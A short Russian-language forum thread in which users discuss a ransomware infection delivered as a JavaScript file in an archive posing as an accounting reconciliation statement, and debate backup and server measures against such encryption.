Тоже вчера словили, также (js в архиве) якобы акт сверки. Благо бэкапы были...

а если архивы/бэкапы переименовывать в exe?

(199) угу, "и чтоб никто не догадался" складывать в папку windows )

(0) выделенный sql сервер уже предлагали?

сорри, невнимательно читал, терминал поможет

(107) Резервные копии? Ну ну...
Вы хоть раз видели как работают шифровальщики?
Если их конечно не полные дауны делали.
Они же не за 2 сек после заражения все шифруют.
На это надо время.
Они длительное время сидят в системе и прозрачно шифруют данные.
В результате, даже в резервных копиях сидят зашифрованные данные.
Для бизнеса потеря данных данных за последний месяц, зачастую тоже самое что потерять все.